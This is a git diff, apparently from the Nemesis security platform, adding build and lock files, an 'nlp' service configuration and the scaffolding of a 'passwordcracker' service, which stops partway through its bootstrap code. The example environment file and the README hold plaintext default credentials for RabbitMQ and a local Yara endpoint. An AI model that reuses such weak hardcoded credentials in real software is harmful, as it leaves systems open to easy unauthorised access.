"sha256:fbf8281a6eb538b5c219a9c54c65a910806e7adf28a7d878f2cff551cbbd43ea"}, + {file = "yara_python-4.3.1-cp38-cp38-win32.whl", hash = "sha256:fd70fe0ba522d4ecd73cbf45e528872844e61e2febe8f66e8a94c2674751b831"}, + {file = "yara_python-4.3.1-cp38-cp38-win_amd64.whl", hash = "sha256:950377dd53d17870f66406f0db9ed9f6b04ac7e61c7f6fd5429459e2a00fd874"}, + {file = "yara_python-4.3.1-cp39-cp39-win32.whl", hash = "sha256:c032ad4ec6698a4f485b3d9721e6223028953bb61362482bdd7eabb147271e80"}, + {file = "yara_python-4.3.1-cp39-cp39-win_amd64.whl", hash = "sha256:f0b7b2ea840638415a075a25860dbcb6466d83000a8367196188a6367b01af71"}, +] + +[[package]] +name = "yarl" +version = "1.9.2" +description = "Yet another URL library" +optional = false +python-versions = ">=3.7" +files = [ + {file = "yarl-1.9.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:8c2ad583743d16ddbdf6bb14b5cd76bf43b0d0006e918809d5d4ddf7bde8dd82"}, + {file = "yarl-1.9.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:82aa6264b36c50acfb2424ad5ca537a2060ab6de158a5bd2a72a032cc75b9eb8"}, + {file = "yarl-1.9.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c0c77533b5ed4bcc38e943178ccae29b9bcf48ffd1063f5821192f23a1bd27b9"}, + {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee4afac41415d52d53a9833ebae7e32b344be72835bbb589018c9e938045a560"}, + {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9bf345c3a4f5ba7f766430f97f9cc1320786f19584acc7086491f45524a551ac"}, + {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2a96c19c52ff442a808c105901d0bdfd2e28575b3d5f82e2f5fd67e20dc5f4ea"}, + {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:891c0e3ec5ec881541f6c5113d8df0315ce5440e244a716b95f2525b7b9f3608"}, + {file = "yarl-1.9.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c3a53ba34a636a256d767c086ceb111358876e1fb6b50dfc4d3f4951d40133d5"}, + {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:566185e8ebc0898b11f8026447eacd02e46226716229cea8db37496c8cdd26e0"}, + {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:2b0738fb871812722a0ac2154be1f049c6223b9f6f22eec352996b69775b36d4"}, + {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:32f1d071b3f362c80f1a7d322bfd7b2d11e33d2adf395cc1dd4df36c9c243095"}, + {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:e9fdc7ac0d42bc3ea78818557fab03af6181e076a2944f43c38684b4b6bed8e3"}, + {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:56ff08ab5df8429901ebdc5d15941b59f6253393cb5da07b4170beefcf1b2528"}, + {file = "yarl-1.9.2-cp310-cp310-win32.whl", hash = "sha256:8ea48e0a2f931064469bdabca50c2f578b565fc446f302a79ba6cc0ee7f384d3"}, + {file = "yarl-1.9.2-cp310-cp310-win_amd64.whl", hash = "sha256:50f33040f3836e912ed16d212f6cc1efb3231a8a60526a407aeb66c1c1956dde"}, + {file = "yarl-1.9.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:646d663eb2232d7909e6601f1a9107e66f9791f290a1b3dc7057818fe44fc2b6"}, + {file = "yarl-1.9.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:aff634b15beff8902d1f918012fc2a42e0dbae6f469fce134c8a0dc51ca423bb"}, + {file = "yarl-1.9.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a83503934c6273806aed765035716216cc9ab4e0364f7f066227e1aaea90b8d0"}, + {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b25322201585c69abc7b0e89e72790469f7dad90d26754717f3310bfe30331c2"}, + {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:22a94666751778629f1ec4280b08eb11815783c63f52092a5953faf73be24191"}, + {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8ec53a0ea2a80c5cd1ab397925f94bff59222aa3cf9c6da938ce05c9ec20428d"}, + {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:159d81f22d7a43e6eabc36d7194cb53f2f15f498dbbfa8edc8a3239350f59fe7"}, + {file = "yarl-1.9.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:832b7e711027c114d79dffb92576acd1bd2decc467dec60e1cac96912602d0e6"}, + {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:95d2ecefbcf4e744ea952d073c6922e72ee650ffc79028eb1e320e732898d7e8"}, + {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:d4e2c6d555e77b37288eaf45b8f60f0737c9efa3452c6c44626a5455aeb250b9"}, + {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:783185c75c12a017cc345015ea359cc801c3b29a2966c2655cd12b233bf5a2be"}, + {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:b8cc1863402472f16c600e3e93d542b7e7542a540f95c30afd472e8e549fc3f7"}, + {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:822b30a0f22e588b32d3120f6d41e4ed021806418b4c9f0bc3048b8c8cb3f92a"}, + {file = "yarl-1.9.2-cp311-cp311-win32.whl", hash = "sha256:a60347f234c2212a9f0361955007fcf4033a75bf600a33c88a0a8e91af77c0e8"}, + {file = "yarl-1.9.2-cp311-cp311-win_amd64.whl", hash = "sha256:be6b3fdec5c62f2a67cb3f8c6dbf56bbf3f61c0f046f84645cd1ca73532ea051"}, + {file = "yarl-1.9.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:38a3928ae37558bc1b559f67410df446d1fbfa87318b124bf5032c31e3447b74"}, + {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ac9bb4c5ce3975aeac288cfcb5061ce60e0d14d92209e780c93954076c7c4367"}, + {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3da8a678ca8b96c8606bbb8bfacd99a12ad5dd288bc6f7979baddd62f71c63ef"}, + {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:13414591ff516e04fcdee8dc051c13fd3db13b673c7a4cb1350e6b2ad9639ad3"}, + {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bf74d08542c3a9ea97bb8f343d4fcbd4d8f91bba5ec9d5d7f792dbe727f88938"}, + {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6e7221580dc1db478464cfeef9b03b95c5852cc22894e418562997df0d074ccc"}, + {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:494053246b119b041960ddcd20fd76224149cfea8ed8777b687358727911dd33"}, + {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:52a25809fcbecfc63ac9ba0c0fb586f90837f5425edfd1ec9f3372b119585e45"}, + {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:e65610c5792870d45d7b68c677681376fcf9cc1c289f23e8e8b39c1485384185"}, + {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:1b1bba902cba32cdec51fca038fd53f8beee88b77efc373968d1ed021024cc04"}, + {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:662e6016409828ee910f5d9602a2729a8a57d74b163c89a837de3fea050c7582"}, + {file = "yarl-1.9.2-cp37-cp37m-win32.whl", hash = "sha256:f364d3480bffd3aa566e886587eaca7c8c04d74f6e8933f3f2c996b7f09bee1b"}, + {file = "yarl-1.9.2-cp37-cp37m-win_amd64.whl", hash = "sha256:6a5883464143ab3ae9ba68daae8e7c5c95b969462bbe42e2464d60e7e2698368"}, + {file = "yarl-1.9.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5610f80cf43b6202e2c33ba3ec2ee0a2884f8f423c8f4f62906731d876ef4fac"}, + {file = "yarl-1.9.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b9a4e67ad7b646cd6f0938c7ebfd60e481b7410f574c560e455e938d2da8e0f4"}, + {file = "yarl-1.9.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:83fcc480d7549ccebe9415d96d9263e2d4226798c37ebd18c930fce43dfb9574"}, + {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5fcd436ea16fee7d4207c045b1e340020e58a2597301cfbcfdbe5abd2356c2fb"}, + {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:84e0b1599334b1e1478db01b756e55937d4614f8654311eb26012091be109d59"}, + {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3458a24e4ea3fd8930e934c129b676c27452e4ebda80fbe47b56d8c6c7a63a9e"}, + {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:838162460b3a08987546e881a2bfa573960bb559dfa739e7800ceeec92e64417"}, + {file = "yarl-1.9.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f4e2d08f07a3d7d3e12549052eb5ad3eab1c349c53ac51c209a0e5991bbada78"}, + {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:de119f56f3c5f0e2fb4dee508531a32b069a5f2c6e827b272d1e0ff5ac040333"}, + {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:149ddea5abf329752ea5051b61bd6c1d979e13fbf122d3a1f9f0c8be6cb6f63c"}, + {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:674ca19cbee4a82c9f54e0d1eee28116e63bc6fd1e96c43031d11cbab8b2afd5"}, + {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:9b3152f2f5677b997ae6c804b73da05a39daa6a9e85a512e0e6823d81cdad7cc"}, + {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:5415d5a4b080dc9612b1b63cba008db84e908b95848369aa1da3686ae27b6d2b"}, + {file = "yarl-1.9.2-cp38-cp38-win32.whl", hash = "sha256:f7a3d8146575e08c29ed1cd287068e6d02f1c7bdff8970db96683b9591b86ee7"}, + {file = "yarl-1.9.2-cp38-cp38-win_amd64.whl", hash = "sha256:63c48f6cef34e6319a74c727376e95626f84ea091f92c0250a98e53e62c77c72"}, + {file = "yarl-1.9.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:75df5ef94c3fdc393c6b19d80e6ef1ecc9ae2f4263c09cacb178d871c02a5ba9"}, + {file = "yarl-1.9.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:c027a6e96ef77d401d8d5a5c8d6bc478e8042f1e448272e8d9752cb0aff8b5c8"}, + {file = "yarl-1.9.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f3b078dbe227f79be488ffcfc7a9edb3409d018e0952cf13f15fd6512847f3f7"}, + {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:59723a029760079b7d991a401386390c4be5bfec1e7dd83e25a6a0881859e716"}, + {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b03917871bf859a81ccb180c9a2e6c1e04d2f6a51d953e6a5cdd70c93d4e5a2a"}, + {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c1012fa63eb6c032f3ce5d2171c267992ae0c00b9e164efe4d73db818465fac3"}, + {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a74dcbfe780e62f4b5a062714576f16c2f3493a0394e555ab141bf0d746bb955"}, + {file = "yarl-1.9.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8c56986609b057b4839968ba901944af91b8e92f1725d1a2d77cbac6972b9ed1"}, + {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:2c315df3293cd521033533d242d15eab26583360b58f7ee5d9565f15fee1bef4"}, + {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:b7232f8dfbd225d57340e441d8caf8652a6acd06b389ea2d3222b8bc89cbfca6"}, + {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:53338749febd28935d55b41bf0bcc79d634881195a39f6b2f767870b72514caf"}, + {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:066c163aec9d3d073dc9ffe5dd3ad05069bcb03fcaab8d221290ba99f9f69ee3"}, + {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:8288d7cd28f8119b07dd49b7230d6b4562f9b61ee9a4ab02221060d21136be80"}, + {file = "yarl-1.9.2-cp39-cp39-win32.whl", hash = "sha256:b124e2a6d223b65ba8768d5706d103280914d61f5cae3afbc50fc3dfcc016623"}, + {file = "yarl-1.9.2-cp39-cp39-win_amd64.whl", hash = "sha256:61016e7d582bc46a5378ffdd02cd0314fb8ba52f40f9cf4d9a5e7dbef88dee18"}, + {file = "yarl-1.9.2.tar.gz", hash = "sha256:04ab9d4b9f587c06d801c2abfe9317b77cdf996c65a90d5e84ecc45010823571"}, +] + +[package.dependencies] +idna = ">=2.0" +multidict = ">=4.0" + +[metadata] +lock-version = "2.0" +python-versions = "^3.11.2" +content-hash = "716c2b833c9e821fe199ed06cc61bf6f017a0192d7281ecf106d5b6d811cb2c3" diff --git a/cmd/nlp/poetry.toml b/cmd/nlp/poetry.toml new file mode 100644 index 0000000..be97f1e --- /dev/null +++ b/cmd/nlp/poetry.toml @@ -0,0 +1,3 @@ +[virtualenvs] +in-project = true +prefer-active-python = true \ No newline at end of file diff --git a/cmd/nlp/pyproject.toml b/cmd/nlp/pyproject.toml new file mode 100644 index 0000000..83cbe3c --- /dev/null +++ b/cmd/nlp/pyproject.toml @@ -0,0 +1,70 @@ +[tool.poetry] +name = "nlp" +version = "0.1.0" +description = "" +authors = ["SpecterOps "] +packages = [{ include = "nlp" }] + +[tool.poetry.scripts] +app = "nlp.__main__:main" + +[tool.poetry.dependencies] +python = "^3.11.2" +langchain = "^0.0.163" +typing-extensions = "^4.5.0" +fastapi = "^0.82.0" +fastapi-class = "^2.0.0" +uvicorn = { extras = ["standard"], version = "^0.22.0" } +prometheus-async = { extras = ["aiohttp"], version = "^22.2.0"} +aiohttp = "^3.8.4" +nemesiscommon = { path = "../../packages/python/nemesiscommon", develop = true } +nemesispb = { path = "../../packages/python/nemesispb", develop = true } +elasticsearch = "^8.7.0" +torch = {version = "^2.0.1+cpu", source = "torch"} +sentence-transformers = "^2.2.2" +tiktoken = "^0.4.0" + +[tool.poetry.dev-dependencies] +pytest = "^7.1.2" +black = "^22.6.0" +flake8 = "^5.0.4" +mypy = "^0.971" + +[[tool.poetry.source]] +name = "torch" +url = "https://download.pytorch.org/whl/cpu" +default = false +secondary = true + + +[tool.poetry.group.dev.dependencies] +debugpy = "^1.6.7" + +[build-system] +requires = ["poetry-core"] +build-backend = "poetry.core.masonry.api" + +[tool.isort] +import_heading_stdlib = "Standard Libraries" +import_heading_firstparty = "Nemesis Libraries" +import_heading_thirdparty = "3rd Party Libraries" +profile = "black" +extra_standard_library = "asgiref" +known_first_party = "nemesis" +src_paths = ["isort", "test"] +line_length = 90 +use_parentheses = true +multi_line_output = 3 +include_trailing_comma = true +ensure_newline_before_comments = true +sections = [ + "FUTURE", + "STDLIB", + "DJANGO", + "THIRDPARTY", + "FIRSTPARTY", + "LOCALFOLDER", +] + +[tool.black] +line-length = 240 diff --git a/cmd/nlp/pyrightconfig.json b/cmd/nlp/pyrightconfig.json new file mode 100644 index 0000000..6c8ac6f --- /dev/null +++ b/cmd/nlp/pyrightconfig.json @@ -0,0 +1,37 @@ +{ + "include": [ + "**/*.py" + ], + "exclude": [ + "**/__pycache__/**", + "**/.git/objects/**", + "**/.git/subtree-cache/**", + "**/.hg/store/**", + "**/.ipynb_checkpoints/**", + "**/.mypy_cache/**", + "**/.pytest_cache/**", + "**/.venv/**", + "**/*.egg-info/**", + "**/build/**", + "**/dist/**", + "**/node_modules/*/**", + ], + "executionEnvironments": [ + { + "root": ".", + "pythonVersion": "3.11", + "extraPaths": [ + "../../packages/python/nemesiscommon", + "../../packages/python/nemesispb", + ] + }, + ], + "ignore": [], + "pythonVersion": "3.11", + "reportMissingImports": true, + "reportMissingTypeStubs": false, + "typeCheckingMode": "basic", + "useLibraryCodeForTypes": true, + "venvPath": ".", + "venv": ".venv" +} \ No newline at end of file diff --git a/cmd/nlp/tests/__init__.py b/cmd/nlp/tests/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/cmd/passwordcracker/.dockerignore b/cmd/passwordcracker/.dockerignore new file mode 100644 index 0000000..0b1e1e7 --- /dev/null +++ b/cmd/passwordcracker/.dockerignore @@ -0,0 +1,27 @@ +**/__pycache__ +**/.venv +**/.classpath +**/.dockerignore +**/.env +**/.git +**/.gitignore +**/.project +**/.settings +**/.toolstarget +**/.vs +**/.vscode +**/*.*proj.user +**/*.dbmdl +**/*.jfm +**/bin +**/charts +**/docker-compose* +**/compose* +**/Dockerfile* +**/node_modules +**/npm-debug.log +**/obj +**/secrets.dev.yaml +**/values.dev.yaml +LICENSE +README.md diff --git a/cmd/passwordcracker/.env.example b/cmd/passwordcracker/.env.example new file mode 100644 index 0000000..e2ea1cd --- /dev/null +++ b/cmd/passwordcracker/.env.example @@ -0,0 +1,8 @@ +ASSESSMENT_ID=ASSESS-TEST +CRACK_WORDLIST_TOP_WORDS=1000000 +DATA_DOWNLOAD_DIR=/tmp +ENVIRONMENT=development +LOG_LEVEL=DEBUG +PROMETHEUS_PORT=9090 +PUBLIC_KIBANA_URL=http://127.0.0.1:8080/kibana/ +RABBITMQ_CONNECTION_URI='amqp://nemesis:Qwerty12345@127.0.0.1:5672/' \ No newline at end of file diff --git a/cmd/passwordcracker/.flake8 b/cmd/passwordcracker/.flake8 new file mode 100644 index 0000000..f3b8a89 --- /dev/null +++ b/cmd/passwordcracker/.flake8 @@ -0,0 +1,9 @@ +[flake8] +ignore = E231, E241 +max-line-length = 240 +count = true +max-complexity = 10 +max-cognitive-complexity=20 +exclude = + enrichment/lib/ext_tools + .venv \ No newline at end of file diff --git a/cmd/passwordcracker/.gitignore b/cmd/passwordcracker/.gitignore new file mode 100644 index 0000000..ddf4581 --- /dev/null +++ b/cmd/passwordcracker/.gitignore @@ -0,0 +1,163 @@ +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ +cover/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +.pybuilder/ +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +# For a library or package, you might want to ignore these files since the code is +# intended to run in multiple environments; otherwise, check them in: +# .python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# poetry +# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. +# This is especially recommended for binary packages to ensure reproducibility, and is more +# commonly ignored for libraries. +# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control +#poetry.lock + +# pdm +# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. +#pdm.lock +# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it +# in version control. +# https://pdm.fming.dev/#use-with-ide +.pdm.toml + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# pytype static type analyzer +.pytype/ + +# Cython debug symbols +cython_debug/ + +# PyCharm +# JetBrains specific template is maintained in a separate JetBrains.gitignore that can +# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore +# and can be added to the global gitignore or merged into this file. For a more nuclear +# option (not recommended) you can uncomment the following to ignore the entire idea folder. +#.idea/ + +process_categorizer-data/ +# Ignore dynaconf secret files +.secrets.* diff --git a/cmd/passwordcracker/.python-version b/cmd/passwordcracker/.python-version new file mode 100644 index 0000000..1e33456 --- /dev/null +++ b/cmd/passwordcracker/.python-version @@ -0,0 +1 @@ +3.11.2 diff --git a/cmd/passwordcracker/.vscode/extensions.json b/cmd/passwordcracker/.vscode/extensions.json new file mode 100644 index 0000000..5751efd --- /dev/null +++ b/cmd/passwordcracker/.vscode/extensions.json @@ -0,0 +1,16 @@ +{ + // See https://go.microsoft.com/fwlink/?LinkId=827846 to learn about workspace recommendations. + // Extension identifier format: ${publisher}.${name}. Example: vscode.csharp + // List of extensions which should be recommended for users of this workspace. + "recommendations": [ + "ms-python.black-formatter", + "ms-python.flake8", + "ms-python.isort", + "ms-python.python", + "ms-python.vscode-pylance", + "njpwerner.autodocstring", + "zxh404.vscode-proto3", + ], + // List of extensions recommended by VS Code that should not be recommended for users of this workspace. + "unwantedRecommendations": [] +} \ No newline at end of file diff --git a/cmd/passwordcracker/.vscode/launch.json b/cmd/passwordcracker/.vscode/launch.json new file mode 100644 index 0000000..5e8a176 --- /dev/null +++ b/cmd/passwordcracker/.vscode/launch.json @@ -0,0 +1,22 @@ +{ + // Use IntelliSense to learn about possible attributes. + // Hover to view descriptions of existing attributes. + // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 + "version": "0.2.0", + "configurations": [ + { + "name": "Service: passwordcracker", + "type": "python", + "request": "launch", + "module": "passwordcracker", + "console": "integratedTerminal", + "cwd": "${workspaceFolder}", + "justMyCode": false, + "env": { + // "PYTHONASYNCIODEBUG": "1", + "BETTER_EXCEPTIONS": "1", + "FORCE_COLOR": "1", + } + }, + ] +} \ No newline at end of file diff --git a/cmd/passwordcracker/.vscode/settings.json b/cmd/passwordcracker/.vscode/settings.json new file mode 100644 index 0000000..1490d27 --- /dev/null +++ b/cmd/passwordcracker/.vscode/settings.json @@ -0,0 +1,64 @@ +{ + "[javascript]": { + "editor.formatOnSave": false + }, + "[html]": { + "editor.formatOnSave": false + }, + "[python]": { + "editor.codeActionsOnSave": { + "source.organizeImports": true + }, + "editor.defaultFormatter": "ms-python.black-formatter", + "editor.formatOnSave": true, + }, + "autoDocstring.docstringFormat": "google", + "editor.formatOnSave": true, + "files.exclude": { + "**/.DS_Store": true, + "**/.git": true, + "**/.hg": true, + "**/.mypy_cache": true, + "**/.pytest_cache": true, + "**/.svn": true, + "**/.venv": true, + "**/__pycache__": true, + "**/Thumbs.db": true + }, + "files.trimTrailingWhitespace": true, + "files.watcherExclude": { + "**/__pycache__/**": true, + "**/.git/objects/**": true, + "**/.git/subtree-cache/**": true, + "**/.hg/store/**": true, + "**/.ipynb_checkpoints/**": true, + "**/.mypy_cache/**": true, + "**/.pytest_cache/**": true, + "**/.venv/**": true, + "**/*.egg-info/**": true, + "**/build/**": true, + "**/dist/**": true, + "**/node_modules/*/**": true, + }, + "python.analysis.diagnosticSeverityOverrides": { + "reportMissingImports": "none", + "reportMissingModuleSource": "none", + }, + "python.analysis.useLibraryCodeForTypes": true, // Pyright + "python.formatting.provider": "none", + "python.languageServer": "Pylance", + "python.linting.enabled": true, + "python.linting.flake8Args": [ + "--max-line-length=240", + "--ignore=E203,E722,W503", + ], + "python.linting.flake8Enabled": true, + "python.linting.lintOnSave": true, + "python.linting.pylintEnabled": false, + "python.testing.pytestArgs": [ + "tests" + ], + "python.testing.unittestEnabled": false, + "python.testing.pytestEnabled": true, + "python.analysis.typeCheckingMode": "basic", +} \ No newline at end of file diff --git a/cmd/passwordcracker/.vscode/tasks.json b/cmd/passwordcracker/.vscode/tasks.json new file mode 100644 index 0000000..00b0263 --- /dev/null +++ b/cmd/passwordcracker/.vscode/tasks.json @@ -0,0 +1,12 @@ +{ + // See https://go.microsoft.com/fwlink/?LinkId=733558 + // for the documentation about the tasks.json format + "version": "2.0.0", + "tasks": [ + { + "label": "Type Checking", + "type": "shell", + "command": "poetry run pyright" + } + ] +} \ No newline at end of file diff --git a/cmd/passwordcracker/README.md b/cmd/passwordcracker/README.md new file mode 100644 index 0000000..cd387bc --- /dev/null +++ b/cmd/passwordcracker/README.md @@ -0,0 +1,33 @@ +# Usage +``` +docker build -t enrichments . + +docker run --rm enrichments +``` + +# submit_to_nemesis +Usage: +``` +poetry run python -m enrichment.cli.submit_to_nemesis [OPTIONS] +``` + +Example: Submit all files to the folder (use the absolute path): +``` +poetry run python -m enrichment.cli.submit_to_nemesis --folder /code/ods/sample_files +``` + +Example: Submit multiple files with verbose logging +``` +poetry run python -m enrichment.cli.submit_to_nemesis -f /etc/issue /etc/hosts --log_level DEBUG +``` + + +# Yara + +To post a file to the Yara endpoint, use: +``` +curl -i -X POST --user 'nemesis:Password123!' -H "Content-Type: multipart/form-data" -F "file=@file.exe" http://127.0.0.1:8080/yara/file +``` + +# Acknowldegements +* AV product list was originally derived partially from https://github.com/kazimer/Aggressor-scripts-1/tree/master/Ps-highlight \ No newline at end of file diff --git a/cmd/passwordcracker/passwordcracker/__main__.py b/cmd/passwordcracker/passwordcracker/__main__.py new file mode 100644 index 0000000..e308098 --- /dev/null +++ b/cmd/passwordcracker/passwordcracker/__main__.py @@ -0,0 +1,14 @@ +# 3rd Party Libraries +from passwordcracker.bootstrap import main +from passwordcracker.containers import Container + +if __name__ == "__main__": + container = Container() + container.wire( + modules=[ + "passwordcracker", + "passwordcracker.bootstrap", + ] + ) + + main(container) diff --git a/cmd/passwordcracker/passwordcracker/bootstrap.py b/cmd/passwordcracker/passwordcracker/bootstrap.py new file mode 100644 index 0000000..231c952 --- /dev/null +++ b/cmd/passwordcracker/passwordcracker/bootstrap.py @@ -0,0 +1,100 @@ +# Standard Libraries +import asyncio +import signal +from typing import Any, Optional +from urllib.parse import urlparse + +# 3rd Party Libraries +import structlog +from dependency_injector.wiring import Provide, inject +from nemesiscommon.logging import configure_logger +from nemesiscommon.setupqueues import initRabbitMQ +from nemesiscommon.socketwaiter import SocketWaiter +from passwordcracker.containers import Container +from passwordcracker.settings import PasswordCrackerSettings + +logger: structlog.BoundLogger = structlog.get_logger(module=__name__) + + +@inject +async def amain(container: Container): + await container.init_resources() # type: ignore + config = container.config2() + + await initRabbitMQ(config.rabbitmq_connection_uri) + await wait_for_services(config) + + dispatcher = await container.task_dispatcher() # type: ignore + await dispatcher.start() + + +@inject +def main(container: Container, config=Provide[Container.config]): + configure_logger(False, config["log_level"], config["environment"].value) + logger = structlog.get_logger(module=__name__) + loop = asyncio.get_event_loop() + + if config["environment"].is_development(): + loop.slow_callback_duration = 1 + + signals = (signal.SIGHUP, signal.SIGTERM, signal.SIGINT) + for s in signals: + 